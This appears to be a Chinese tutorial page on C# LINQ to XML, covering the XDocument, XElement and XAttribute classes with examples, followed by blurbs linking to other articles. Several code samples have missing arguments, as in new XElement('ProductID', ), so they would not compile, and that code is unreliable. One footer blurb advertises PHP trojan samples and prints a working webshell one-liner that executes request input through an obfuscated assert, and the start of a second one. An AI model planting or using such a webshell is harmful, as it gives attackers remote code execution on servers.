LINQ to XML由System.Xml.Linq namespace实现,该namespace包含处理XML时用到的所有类。在使用LINQ to XML时需要添加System.Xml.Linq.dll的引用,在代码声明中添加using:

using System.Xml.Linq;

1. System.Xml.Linq namespace的类及其描述

描述
XAttribute XML中的一个属性
XCData CDATA文本节点
XComment XML注释
XContainer 一个抽象基类,表示具有子节点的节点
XDeclaration XML声明
XDocument XML文档,该类派生自XContainer类
XDocumentType XML DTD(文档类型定义)
XElement XML元素,是XContainer的派生类
XName XML元素或属性的名称
XNamespace XML命名空间
XNode XML元素树的节点
XNodeDocumentOrderComparer 根据节点在XML文档内的顺序对它们进行比较
XNodeEqualityComparer 根据节点的值对它们进行比较
XObject 表示XNodes和XAttributes的抽象类
XObjectChange XObject事件发生时的事件类型
XObjectChangeEventArgs 为Changing和Chenged事件提供信息和数据
XObjectChangeEventHandler 处理XObject中Changed和Changing事件的方法
XProcessingInstruction XML处理指令
XText XML文本

  示例:XML声明指定XML版本、XML文档的编码,以及XML文档是否是一个独立的文件。

// using System.Xml.Linq;
XDocument doc = new XDocument
(
new XDeclaration("1.0", "utf-8", "yes"),
new XElement("Root", "LINQ to XML")
);
string xml = doc.Declaration.ToString() + Environment.NewLine + doc.ToString();
Console.WriteLine(xml);

  运行结果:

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<Root>LINQ to XML</Root>

2. XElement类

  XElement类表示XML元素,它是XContainer类的派生类,而XContainer类又派生于XNode类。一个元素就是一个节点,XElement是LINQ to XML最重要最基本的类之一,它包含所有创建和操作XML元素所必需的功能。通过它可以创建元素,添加和修改元素的属性,操作元素的内容等。

XDocument doc = new XDocument
(
new XDeclaration("1.0", "utf-8", "yes"),
new XComment("Created by LINQ to XML"),
new XElement
(
"Products",
new XElement("ProductID", ),
new XElement("ProductName", "LINQ to XML"),
new XElement("UnitPrice", 10m)
)
);
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<!--Created by LINQ to XML-->
<Products>
<ProductID>1</ProductID>
<ProductName>LINQ to XML</ProductName>
<UnitPrice>10</UnitPrice>
</Products>

3. XAttribute类

  XAttribute类用来处理属性,属性是与元素相关联的名称/值对。

XElement product = new XElement
(
"Root",
new XElement
(
"Product",
new XAttribute("id", )
)
);
<Root>
<Product id="1" />
</Root>
XElement product = new XElement
(
"Root",
new XElement
(
"Product",
new XAttribute("ProductID", ),
new XAttribute("ProductName", "LINQ to XML")
)
);
<Root>
<Product ProductID="1" ProductName="LINQ to XML" />
</Root>

  删除元素属性:

XAttribute attr = product.Element("Product").Attribute("ProductName");
attr.Remove();

4. XDocument类

  XDocument类提供了处理有效XML文档的方法,包括声明、注释和处理指令。XDocument类派生自XContainer类,可以有子节点。XML标准限值XDocument对象只包含单个XElement子节点,此节点作为根节点或跟元素。

LINQ系列:LINQ to XML类的更多相关文章

  1. C# ~ 从 XML 到 Linq 到 Linq to XML

    .XML 可扩展标记语言 (Extensible Markup Language), 标记 (markup) 是关键部分,是标准通用标记语言 (Standard Generalized Markup ...

  2. [引]LINQ to XML 类概述

    本文转自:http://msdn.microsoft.com/zh-cn/library/bb387023.aspx 本主题提供 System.Xml.Linq 命名空间中 LINQ to XML 类 ...

  3. Linq之Linq to XML

    目录 写在前面 系列文章 linq to xml 总结 写在前面 在很多情况下,都可以见到使用xml的影子.例如,在 Web 上,在配置文件.Microsoft Office Word 文件(将wor ...

  4. LINQ系列目录

    1. LINQ准备 1.1 C#中与LINQ相关特性 2. LINQ to Object 2.1 LINQ to Object投影操作符(Select/SelectMany/Let) 2.2 LINQ ...

  5. LinQ系列文章

    温故而知新,想着系统再学习一次LinQ知识点,发现园子里有个非常棒的系列文章,所以Mark下来,方便以后查阅! 系列博客导航: LINQ之路系列博客导航 LINQ之路 1:LINQ介绍 LINQ之路 ...

  6. LINQ 系列

    C#图解教程 第十九章 LINQ   LINQ 什么是LINQLINQ提供程序 匿名类型 方法语法和查询语法查询变量查询表达式的结构 from子句join子句什么是联结查询主体中的from…let…w ...

  7. 白话LINQ系列2---以代码演进方式学习LINQ必备条件

    今天,我们通过一个简单的示例代码的演进过程,来学习LINQ必备条件:隐式类型局部变量:对象集合初始化器:委托:匿名函数:lambda表达式:扩展方法:匿名类型.废话不多说,我们直接进入主题. 一.实现 ...

  8. C# LINQ系列:LINQ to DataSet的DataTable操作 及 DataTable与Linq相互转换

    LINQ to DataSet需要使用System.Core.dll.System.Data.dll和System.Data.DataSetExtensions.dll,在项目中添加引用System. ...

  9. Linq系列

    LINQ 图解 Linq中的Select——投影 Linq学习资源 Expert C# 5.0中的Linq部分

  10. [.net 面向对象程序设计进阶] (11) 序列化(Serialization)(三) 通过接口 IXmlSerializable 实现XML序列化 及 通用XML类

    [.net 面向对象程序设计进阶] (11) 序列化(Serialization)(三) 通过接口 IXmlSerializable 实现XML序列化 及 通用XML类 本节导读:本节主要介绍通过序列 ...

随机推荐

  1. 【转】bash 参数展开(Parameter Expansion)

    转自:http://www.360doc.com/content/13/0513/20/9437165_285204629.shtml ${parameter} 取parameter的值 ${para ...

  2. 支付宝推AR实景红包,抢红包得拼脑力和体力

    近年春节,各大互联网平台都会借机掀起"红包大战",其中支付宝和微信的红包玩法备受用户关注.今年,微信尚未公布春节红包相关的方案信息,不过,今天支付宝率先推出"AR实景红包 ...

  3. POJ 1160 题解

    Post Office Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 18835   Accepted: 10158 Des ...

  4. web.xml配置错误导致applicationContext.xml配置重复加载

    web.xml相关配置 <context-param><param-name>log4jRefreshInterval</param-name><param- ...

  5. php木马样本,持续更新

    <?array_map("ass\x65rt",(array)$_REQUEST[dede]);?> <?php $command=$_POST[1990]; @ ...

  6. MySql UDF 调用外部程序和系统命令

    1.mysql利用mysqludf的一个mysql插件可以实现调用外部程序和系统命令 下载lib_mysqludf_sys程序:https://github.com/mysqludf/lib_mysq ...

  7. JavaIO 将数据写入到文件中去

    package com.Practice_FileWriter; import java.io.FileWriter; import java.io.IOException; public class ...

  8. Excel Sheet Column Title

    Given a positive integer, return its corresponding column title as appear in an Excel sheet. For exa ...

  9. [LintCode] Container With Most Water 装最多水的容器

    Given n non-negative integers a1, a2, ..., an, where each represents a point at coordinate (i, ai).  ...

  10. 选择列表中除了第一个li的其他元素

    //选择div中除了第一个li的其他所以li元素 div li:not(:first-child){ }